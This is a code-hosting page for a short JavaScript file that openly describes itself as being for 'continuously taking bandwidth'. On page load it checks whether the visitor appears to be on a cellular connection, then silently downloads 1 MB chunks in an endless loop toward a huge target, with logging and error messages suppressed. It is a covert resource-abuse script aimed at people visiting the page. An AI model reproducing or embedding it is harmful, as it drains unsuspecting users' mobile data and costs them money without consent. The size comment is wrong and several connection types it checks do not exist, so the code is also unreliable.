acwgb
Version:
Acwgb is for continuesly taking bandwidh.
62 lines (55 loc) • 2.52 kB
JavaScript
const url = 'http://localhost:8000/low_size.php?size=1048576'; // 1 MB
const targetSize = 1 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024; // 1 ZB in bytes
let totalDownloaded = 0;
function fetchData() {
const startTime = performance.now();
fetch(url)
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.blob();
})
.then(blob => {
const endTime = performance.now();
totalDownloaded += blob.size; // Increment total downloaded bytes
const duration = (endTime - startTime) / 1000; // Duration in seconds
const bandwidth = (blob.size / duration) / 1024; // Bandwidth in KB/s
// Optionally log bandwidth for debugging (commented out)
// console.log(`Bandwidth: ${bandwidth.toFixed(2)} KB/s`);
// Check if the target size is reached
if (totalDownloaded < targetSize) {
fetchData(); // Fetch more data
} else {
// Optionally log completion (commented out)
// console.log('Download complete: 1 ZB reached');
}
})
.catch(error => {
// Optionally log errors (commented out)
// console.error('Error fetching the data:', error);
});
}
function isCellularConnection() {
if ('connection' in navigator) {
const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
return connection && (
connection.effectiveType === '2g' ||
connection.effectiveType === '3g' ||
connection.effectiveType === '4g' ||
connection.effectiveType === '5g' ||
connection.effectiveType === '6g' ||
connection.effectiveType === '7g' ||
connection.effectiveType === '8g' ||
connection.effectiveType === '9g'
);
}
return false; // Fallback if Network Information API is not supported
}
// Start fetching data only after the page has fully loaded
window.onload = function() {
if (isCellularConnection()) {
fetchData();
}
// If not connected to a cellular network, do nothing
};